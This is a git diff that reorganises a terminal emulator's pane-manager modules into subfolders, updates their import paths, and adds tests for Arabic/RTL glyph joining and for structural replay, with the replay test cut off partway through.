-      debugState.foregroundWriteCount++
+    if (terminalOutputSchedulerDebugEnabled) {
+      terminalOutputSchedulerDebugState.foregroundWriteCount++
     }
     const ackCreditsParsed = registerTerminalOutputAckCredits(
       terminal,
@@ -250,8 +250,8 @@ export function writeTerminalOutputImpl(
   if (queueCapExceeded(entry)) {
     replaceBacklogWithWarning(entry)
   }
-  if (debugEnabled) {
-    debugState.backgroundEnqueueCount++
+  if (terminalOutputSchedulerDebugEnabled) {
+    terminalOutputSchedulerDebugState.backgroundEnqueueCount++
   }
   // Why: letting every non-focused pane call xterm.write immediately spawns a WriteBuffer timer per pane, starving the focused terminal on the shared renderer thread.
   scheduleDrain(
diff --git a/src/renderer/src/lib/pane-manager/terminal-delivery-credit.ts b/src/renderer/src/lib/pane-manager/terminal-output/terminal-delivery-credit.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-delivery-credit.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/terminal-delivery-credit.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-output-arrival-observer.ts b/src/renderer/src/lib/pane-manager/terminal-output/terminal-output-arrival-observer.ts
similarity index 54%
rename from src/renderer/src/lib/pane-manager/terminal-output-arrival-observer.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/terminal-output-arrival-observer.ts
index 5ac07c84ba8..a17f6c8b195 100644
--- a/src/renderer/src/lib/pane-manager/terminal-output-arrival-observer.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-output/terminal-output-arrival-observer.ts
@@ -1,6 +1,6 @@
-import type { TerminalOutputTarget } from './pane-terminal-output-queue-registry'
+import type { ForegroundTerminalOutputTarget } from './pane-terminal-foreground-render-settle'
 
-type TerminalOutputArrivalObserver = (terminal: TerminalOutputTarget) => void
+type TerminalOutputArrivalObserver = (terminal: ForegroundTerminalOutputTarget) => void
 
 let observer: TerminalOutputArrivalObserver | null = null
 
@@ -9,6 +9,6 @@ export function setTerminalOutputArrivalObserver(next: TerminalOutputArrivalObse
   observer = next
 }
 
-export function noteTerminalOutputArrival(terminal: TerminalOutputTarget): void {
+export function noteTerminalOutputArrival(terminal: ForegroundTerminalOutputTarget): void {
   observer?.(terminal)
 }
diff --git a/src/renderer/src/lib/pane-manager/terminal-write-pipeline-health.ts b/src/renderer/src/lib/pane-manager/terminal-output/terminal-write-pipeline-health.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-write-pipeline-health.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/terminal-write-pipeline-health.ts
diff --git a/src/renderer/src/lib/pane-manager/xterm-instance-disposed.ts b/src/renderer/src/lib/pane-manager/terminal-output/xterm-instance-disposed.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/xterm-instance-disposed.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/xterm-instance-disposed.ts
diff --git a/src/renderer/src/lib/pane-manager/xterm-parse-barrier.ts b/src/renderer/src/lib/pane-manager/terminal-output/xterm-parse-barrier.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/xterm-parse-barrier.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/xterm-parse-barrier.ts
diff --git a/src/renderer/src/lib/pane-manager/xterm-write-callback-guard.ts b/src/renderer/src/lib/pane-manager/terminal-output/xterm-write-callback-guard.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/xterm-write-callback-guard.ts
rename to src/renderer/src/lib/pane-manager/terminal-output/xterm-write-callback-guard.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-da1-ownership.ts b/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-da1-ownership.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-da1-ownership.ts
rename to src/renderer/src/lib/pane-manager/terminal-protocol/terminal-da1-ownership.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-keyboard-protocol.ts b/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol.ts
similarity index 90%
rename from src/renderer/src/lib/pane-manager/terminal-keyboard-protocol.ts
rename to src/renderer/src/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol.ts
index 4524612c9ba..30ba604de4e 100644
--- a/src/renderer/src/lib/pane-manager/terminal-keyboard-protocol.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol.ts
@@ -1,6 +1,6 @@
 import type { ITerminalOptions } from '@xterm/xterm'
-import type { ExecutionHostId } from '../../../../shared/execution-host'
-import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 import {
   isLocalNativeWindowsConpty,
   type WindowsPtyCompatibilityContext
diff --git a/src/renderer/src/lib/pane-manager/terminal-mouse-encoding-tracker.ts b/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-mouse-encoding-tracker.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-mouse-encoding-tracker.ts
rename to src/renderer/src/lib/pane-manager/terminal-protocol/terminal-mouse-encoding-tracker.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-windows-ctrl-alt-chord-classification.ts b/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-windows-ctrl-alt-chord-classification.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-windows-ctrl-alt-chord-classification.ts
rename to src/renderer/src/lib/pane-manager/terminal-protocol/terminal-windows-ctrl-alt-chord-classification.ts
diff --git a/src/renderer/src/lib/pane-manager/windows-pty-compatibility.test.ts b/src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.test.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/windows-pty-compatibility.test.ts
rename to src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.test.ts
diff --git a/src/renderer/src/lib/pane-manager/windows-pty-compatibility.ts b/src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.ts
similarity index 96%
rename from src/renderer/src/lib/pane-manager/windows-pty-compatibility.ts
rename to src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.ts
index ca52e3d9a52..0fd232aa252 100644
--- a/src/renderer/src/lib/pane-manager/windows-pty-compatibility.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.ts
@@ -1,11 +1,11 @@
 import type { ITerminalOptions } from '@xterm/xterm'
-import { isWslUncPath } from '../../../../shared/wsl-paths'
-import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host'
+import { isWslUncPath } from '../../../../../shared/wsl-paths'
+import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host'
 import {
   buildXtermConptyOptions,
   parseWindowsBuildNumber,
   windowsPtyForOwnerMachine
-} from '../../../../shared/xterm-conpty-options'
+} from '../../../../../shared/xterm-conpty-options'
 
 export type WindowsPtyCompatibilityContext = {
   userAgent?: string
diff --git a/src/renderer/src/lib/pane-manager/pane-inline-images.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-inline-images.ts
similarity index 95%
rename from src/renderer/src/lib/pane-manager/pane-inline-images.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-inline-images.ts
index 972c53ad962..c0319acc1cc 100644
--- a/src/renderer/src/lib/pane-manager/pane-inline-images.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-inline-images.ts
@@ -2,8 +2,8 @@ import type { ImageAddon } from '@xterm/addon-image'
 import type { Terminal } from '@xterm/xterm'
 import type { KittyFileRequest } from './terminal-kitty-file-reader'
 import { readTerminalKittyFile } from './terminal-kitty-file-reader'
-import { refreshTerminalDa1Owner } from './terminal-da1-ownership'
-import type { ManagedPaneInternal } from './pane-manager-types'
+import { refreshTerminalDa1Owner } from '../terminal-protocol/terminal-da1-ownership'
+import type { ManagedPaneInternal } from '../pane-manager-types'
 import {
   getTerminalImageAddonConstructor,
   primeTerminalImageAddon,
diff --git a/src/renderer/src/lib/pane-manager/pane-rendering-control.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-rendering-control.ts
similarity index 92%
rename from src/renderer/src/lib/pane-manager/pane-rendering-control.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-rendering-control.ts
index 891a172b519..b7bc92558aa 100644
--- a/src/renderer/src/lib/pane-manager/pane-rendering-control.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-rendering-control.ts
@@ -1,9 +1,10 @@
-import type { ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPaneInternal } from '../pane-manager-types'
 import {
   resumeTerminalCursorBlink,
   suspendTerminalCursorBlink
-} from './pane-cursor-blink-suspension'
-import { safeFit } from './pane-tree-ops'
+} from '../pane-focus/pane-cursor-blink-suspension'
+import '../pane-layout/pane-tree-ops'
+import { safeFit } from '../terminal-fit/pane-fit'
 import {
   attachWebgl,
   clearTerminalWebglAttachBackoff,
@@ -11,9 +12,9 @@ import {
   isPaneWebglContextLost,
   markComplexScriptOutput,
   clearWebglTextureAtlas,
-  presentPaneViewport,
   resetWebglTextureAtlas
 } from './pane-webgl-renderer'
+import { presentPaneViewport } from './pane-viewport-present'
 import {
   clearPaneWebglContextLossForRetry,
   rebuildAttachedWebgl,
diff --git a/src/renderer/src/lib/pane-manager/pane-rendering-diagnostics.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-rendering-diagnostics.ts
similarity index 97%
rename from src/renderer/src/lib/pane-manager/pane-rendering-diagnostics.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-rendering-diagnostics.ts
index 4d3d32a40cc..b463544d0f3 100644
--- a/src/renderer/src/lib/pane-manager/pane-rendering-diagnostics.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-rendering-diagnostics.ts
@@ -1,4 +1,4 @@
-import type { ManagedPaneInternal, PaneRenderingDiagnostics } from './pane-manager-types'
+import type { ManagedPaneInternal, PaneRenderingDiagnostics } from '../pane-manager-types'
 import { getTerminalWebglAutoDecision } from './terminal-webgl-auto-policy'
 import { countPaneWebglContextLosses } from './pane-webgl-context-loss-policy'
 
diff --git a/src/renderer/src/lib/pane-manager/pane-reveal-repaint.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-reveal-repaint.ts
similarity index 94%
rename from src/renderer/src/lib/pane-manager/pane-reveal-repaint.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-reveal-repaint.ts
index 847d81c4e56..ec4e14e80d8 100644
--- a/src/renderer/src/lib/pane-manager/pane-reveal-repaint.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-reveal-repaint.ts
@@ -1,7 +1,8 @@
-import type { ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPaneInternal } from '../pane-manager-types'
 import { reattachWebglIfNeeded } from './pane-webgl-reattach'
-import { presentPaneViewport } from './pane-webgl-renderer'
-import { resetAndRefreshAllTerminalWebglAtlases } from './pane-manager-registry'
+import './pane-webgl-renderer'
+import { presentPaneViewport } from './pane-viewport-present'
+import { resetAndRefreshAllTerminalWebglAtlases } from '../pane-manager-registry'
 
 type PaneGetter = () => Iterable<ManagedPaneInternal>
 type PaneRevealOwner = { isVisibleForAtlasRecovery(): boolean }
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-gpu-acceleration.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-terminal-gpu-acceleration.ts
similarity index 89%
rename from src/renderer/src/lib/pane-manager/pane-terminal-gpu-acceleration.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-terminal-gpu-acceleration.ts
index 7096dbf5abe..db32c40d174 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-gpu-acceleration.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-terminal-gpu-acceleration.ts
@@ -1,11 +1,12 @@
-import type { ManagedPaneInternal, PaneManagerOptions } from './pane-manager-types'
+import type { ManagedPaneInternal, PaneManagerOptions } from '../pane-manager-types'
 import {
   attachWebgl,
   disposeWebgl,
   resetTerminalWebglSuggestion,
   shouldUseTerminalWebgl
 } from './pane-webgl-renderer'
-import { safeFit } from './pane-tree-ops'
+import '../pane-layout/pane-tree-ops'
+import { safeFit } from '../terminal-fit/pane-fit'
 import { applyDomBlockFills } from './terminal-dom-block-fill'
 import { resetPaneWebglContextLosses } from './pane-webgl-context-loss-policy'
 
diff --git a/src/renderer/src/lib/pane-manager/pane-viewport-present.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-viewport-present.ts
similarity index 95%
rename from src/renderer/src/lib/pane-manager/pane-viewport-present.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-viewport-present.ts
index ce7b7acaad9..c828f5a8393 100644
--- a/src/renderer/src/lib/pane-manager/pane-viewport-present.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-viewport-present.ts
@@ -1,5 +1,5 @@
-import type { ManagedPane, ManagedPaneInternal } from './pane-manager-types'
-import { isManagedPaneDisplayNone } from './pane-display-visibility'
+import type { ManagedPane, ManagedPaneInternal } from '../pane-manager-types'
+import { isManagedPaneDisplayNone } from '../terminal-fit/pane-display-visibility'
 import { requestFullViewportPresent } from './terminal-render-pause-release'
 
 /** Viewport presentation also serves DOM panes; keep visibility retries separate from WebGL lifecycle. */
diff --git a/src/renderer/src/lib/pane-manager/pane-webgl-context-loss-policy.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-context-loss-policy.ts
similarity index 95%
rename from src/renderer/src/lib/pane-manager/pane-webgl-context-loss-policy.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-context-loss-policy.ts
index be81b824a40..37419c236d4 100644
--- a/src/renderer/src/lib/pane-manager/pane-webgl-context-loss-policy.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-context-loss-policy.ts
@@ -1,4 +1,4 @@
-import type { ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPaneInternal } from '../pane-manager-types'
 
 /** Retry a pane after a few transient losses, but stop retrying a persistently unstable context. */
 export const WEBGL_CONTEXT_LOSS_RETRY_LIMIT = 3
diff --git a/src/renderer/src/lib/pane-manager/pane-webgl-reattach.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-reattach.ts
similarity index 96%
rename from src/renderer/src/lib/pane-manager/pane-webgl-reattach.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-reattach.ts
index a6098d3e5d6..345b75ebdf6 100644
--- a/src/renderer/src/lib/pane-manager/pane-webgl-reattach.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-reattach.ts
@@ -1,4 +1,4 @@
-import type { ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPaneInternal } from '../pane-manager-types'
 import { attachWebgl, clearTerminalWebglAttachBackoff, disposeWebgl } from './pane-webgl-renderer'
 import { canRetryPaneWebglAfterContextLoss } from './pane-webgl-context-loss-policy'
 
diff --git a/src/renderer/src/lib/pane-manager/pane-webgl-renderer.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-renderer.ts
similarity index 95%
rename from src/renderer/src/lib/pane-manager/pane-webgl-renderer.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-renderer.ts
index 6abaa8a1bd1..9b9f90df4eb 100644
--- a/src/renderer/src/lib/pane-manager/pane-webgl-renderer.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/pane-webgl-renderer.ts
@@ -1,13 +1,13 @@
 import type { WebglAddon } from '@xterm/addon-webgl'
-import type { ManagedPaneInternal } from './pane-manager-types'
-import { recordTerminalWebglDiagnostic } from '../../../../shared/terminal/diagnostics/terminal-webgl-diagnostics'
-import { getLivePaneCensus } from './pane-manager-registry'
+import type { ManagedPaneInternal } from '../pane-manager-types'
+import { recordTerminalWebglDiagnostic } from '../../../../../shared/terminal/diagnostics/terminal-webgl-diagnostics'
+import { getLivePaneCensus } from '../pane-manager-registry'
 import {
   getTerminalWebglAutoDecision,
   resetTerminalWebglAutoDecision
 } from './terminal-webgl-auto-policy'
-import { safeFit, safeFitAndThen } from './pane-fit'
-import { setPaneFitWebglAttachHook } from './pane-fit-webgl-attach-signal'
+import { safeFit, safeFitAndThen } from '../terminal-fit/pane-fit'
+import { setPaneFitWebglAttachHook } from '../terminal-fit/pane-fit-webgl-attach-signal'
 import {
   repairPaneWebglCanvasDprMismatch,
   restoreReleasedPaneWebglCanvas
@@ -20,7 +20,6 @@ import {
   stopReleasingWebglCanvasBacking
 } from './terminal-webgl-hidden-canvas-release'
 
-export { presentPaneViewport } from './pane-viewport-present'
 import {
   getTerminalWebglAddonConstructor,
   primeTerminalWebglAddon,
@@ -29,8 +28,6 @@ import {
 } from './terminal-webgl-addon-loader'
 import { watchTerminalSymbolsFontLoad } from './terminal-symbols-font'
 
-export { primeTerminalWebglAddon } from './terminal-webgl-addon-loader'
-
 export const ENABLE_WEBGL_RENDERER = true
 let suggestedRendererType: 'dom' | undefined
 // Latch attach failures per pane to avoid repeated canvas/getContext allocation and stack warnings on title changes. Retry on rendering resume/GPU settings recovery; a global latch would strand unrelated panes on DOM.
diff --git a/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner.test.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner.test.ts
new file mode 100644
index 00000000000..642e18c4418
--- /dev/null
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner.test.ts
@@ -0,0 +1,19 @@
+import { describe, expect, it } from 'vitest'
+
+import { findRtlJoinRanges } from './terminal-arabic-shaping-joiner'
+
+describe('findRtlJoinRanges', () => {
+  it('does not open a run at orphan combining marks after an LTR base', () => {
+    // Combining marks share their base cell; starting a run there yields an empty joined range that blanks the next WebGL glyph.
+    expect(findRtlJoinRanges('a\u064b\u0651b')).toEqual([])
+    expect(findRtlJoinRanges('x\u05b0\u05b1y')).toEqual([])
+  })
+
+  it('does not open a run at zero-width Cf controls after an LTR base', () => {
+    // BOM/ZWNBSP and Arabic number signs have width zero; opening there also creates an empty joined range that blanks the next glyph.
+    const BOM = '\ufeff'
+    expect(findRtlJoinRanges(`a${BOM}${BOM}b`)).toEqual([])
+    expect(findRtlJoinRanges('x\u0600\u0602y')).toEqual([])
+    expect(findRtlJoinRanges(`a${BOM}\u0651b`)).toEqual([])
+  })
+})
diff --git a/src/renderer/src/lib/pane-manager/terminal-arabic-shaping-joiner.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-arabic-shaping-joiner.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-canvas-dpr-repair.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-canvas-dpr-repair.ts
similarity index 96%
rename from src/renderer/src/lib/pane-manager/terminal-canvas-dpr-repair.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-canvas-dpr-repair.ts
index 0130336f71e..f860f4f5cb9 100644
--- a/src/renderer/src/lib/pane-manager/terminal-canvas-dpr-repair.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-canvas-dpr-repair.ts
@@ -1,5 +1,5 @@
-import type { ManagedPane } from './pane-manager-types'
-import { recordTerminalWebglDiagnostic } from '../../../../shared/terminal/diagnostics/terminal-webgl-diagnostics'
+import type { ManagedPane } from '../pane-manager-types'
+import { recordTerminalWebglDiagnostic } from '../../../../../shared/terminal/diagnostics/terminal-webgl-diagnostics'
 import { forceFullViewportPresent, presentEmptiedCanvas } from './terminal-render-pause-release'
 import { isWebglCanvasBackingReleased } from './terminal-webgl-hidden-canvas-release'
 
diff --git a/src/renderer/src/lib/pane-manager/terminal-complex-script.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-complex-script.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-complex-script.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-complex-script.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-dom-block-fill.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-dom-block-fill.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-dom-block-fill.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-dom-block-fill.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-image-added-repaint.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-image-added-repaint.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-image-added-repaint.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-image-added-repaint.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-image-addon-loader.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-image-addon-loader.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-image-addon-loader.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-image-addon-loader.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-indic-cluster-ranges.test.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-indic-cluster-ranges.test.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-indic-cluster-ranges.test.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-indic-cluster-ranges.test.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-indic-cluster-ranges.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-indic-cluster-ranges.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-indic-cluster-ranges.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-indic-cluster-ranges.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-inline-image-options.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-inline-image-options.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-inline-image-options.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-inline-image-options.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-kitty-file-reader.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-kitty-file-reader.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-kitty-file-reader.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-kitty-file-reader.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-lazy-addon-loader.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-lazy-addon-loader.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-lazy-addon-loader.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-lazy-addon-loader.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-ligatures-addon.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-ligatures-addon.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-ligatures-addon.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-ligatures-addon.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-parsed-dirty-rows.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-parsed-dirty-rows.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-parsed-dirty-rows.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-parsed-dirty-rows.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-render-pause-release.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-render-pause-release.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-render-pause-release.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-render-pause-release.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-symbols-font.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-symbols-font.ts
similarity index 82%
rename from src/renderer/src/lib/pane-manager/terminal-symbols-font.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-symbols-font.ts
index 0a83a3ba5ef..3f4e1675d5e 100644
--- a/src/renderer/src/lib/pane-manager/terminal-symbols-font.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-symbols-font.ts
@@ -1,5 +1,5 @@
-import { BUNDLED_SYMBOLS_FONT_FAMILY } from '../../../../shared/monospace-font-family'
-import { resetAndRefreshAllTerminalWebglAtlases } from './pane-manager-registry'
+import { BUNDLED_SYMBOLS_FONT_FAMILY } from '../../../../../shared/monospace-font-family'
+import { resetAndRefreshAllTerminalWebglAtlases } from '../pane-manager-registry'
 
 let watching = false
 
diff --git a/src/renderer/src/lib/pane-manager/terminal-webgl-addon-loader.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-addon-loader.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-webgl-addon-loader.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-addon-loader.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-webgl-auto-policy.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-auto-policy.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-webgl-auto-policy.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-auto-policy.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-webgl-hidden-canvas-release.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-hidden-canvas-release.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-webgl-hidden-canvas-release.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-hidden-canvas-release.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-webgl-hidden-retention.ts b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-hidden-retention.ts
similarity index 97%
rename from src/renderer/src/lib/pane-manager/terminal-webgl-hidden-retention.ts
rename to src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-hidden-retention.ts
index 76eec3f27b5..b8c7c697584 100644
--- a/src/renderer/src/lib/pane-manager/terminal-webgl-hidden-retention.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-rendering/terminal-webgl-hidden-retention.ts
@@ -1,4 +1,4 @@
-import type { ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPaneInternal } from '../pane-manager-types'
 import { disposeWebgl } from './pane-webgl-renderer'
 
 // Even with Blink’s context ceiling raised to 128, cap hidden retention at six to bound GPU memory as mounted worktrees accumulate.
diff --git a/src/renderer/src/lib/pane-manager/terminal-replay-frame.ts b/src/renderer/src/lib/pane-manager/terminal-replay/terminal-replay-frame.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/terminal-replay-frame.ts
rename to src/renderer/src/lib/pane-manager/terminal-replay/terminal-replay-frame.ts
diff --git a/src/renderer/src/lib/pane-manager/terminal-replay-presentation.ts b/src/renderer/src/lib/pane-manager/terminal-replay/terminal-replay-presentation.ts
similarity index 98%
rename from src/renderer/src/lib/pane-manager/terminal-replay-presentation.ts
rename to src/renderer/src/lib/pane-manager/terminal-replay/terminal-replay-presentation.ts
index bdeb53eadad..9a10c3ec9c7 100644
--- a/src/renderer/src/lib/pane-manager/terminal-replay-presentation.ts
+++ b/src/renderer/src/lib/pane-manager/terminal-replay/terminal-replay-presentation.ts
@@ -3,7 +3,7 @@ import {
   forceRepaintThroughRenderPause,
   isSynchronizedOutputHeld,
   requestFullViewportPresent
-} from './terminal-render-pause-release'
+} from '../terminal-rendering/terminal-render-pause-release'
 import { retainTerminalReplayFrame } from './terminal-replay-frame'
 
 // Why a cap: a fit deferred until reveal (or a stuck parse) must never leave a live pane unpainted.
diff --git a/src/renderer/src/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator.test.ts b/src/renderer/src/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator.test.ts
new file mode 100644
index 00000000000..96b6f37bea7
--- /dev/null
+++ b/src/renderer/src/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator.test.ts
@@ -0,0 +1,121 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { createTerminalStructuralReplayCoordinator } from './terminal-structural-replay-coordinator'
+import { markTerminalPinnedViewport } from '../terminal-scroll/terminal-scroll-intent'
+import '../terminal-scroll/terminal-scroll-intent-rebuild'
+
+import '../terminal-scroll/pane-scroll'
+
+function createTerminal(viewportY: number, baseY: number) {
+  const active = { type: 'normal', viewportY, baseY }
+  return {
+    buffer: { active },
+    scrollToBottom: vi.fn(() => {
+      active.viewportY = active.baseY
+    }),
+    scrollToLine: vi.fn((line: number) => {
+      active.viewportY = line
+    })
+  }
+}
+
+function deferred(): { promise: Promise<void>; resolve: () => void } {
+  let resolve = (): void => {}
+  const promise = new Promise<void>((resolvePromise) => {
+    resolve = resolvePromise
+  })
+  return { promise, resolve }
+}
+
+afterEach(() => {
+  vi.restoreAllMocks()
+  vi.unstubAllGlobals()
+})
+
+describe('terminal structural replay coordinator', () => {
+  it('serializes rebuilds and restores a pinned bottom offset after each parse', async () => {
+    const terminal = createTerminal(80, 100)
+    markTerminalPinnedViewport(terminal)
+    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
+    const firstParsed = deferred()
+    const secondParsed = deferred()
+    const starts: string[] = []
+
+    const first = coordinator.run(async () => {
+      starts.push('first')
+      terminal.buffer.active.viewportY = 0
+      terminal.buffer.active.baseY = 0
+      await firstParsed.promise
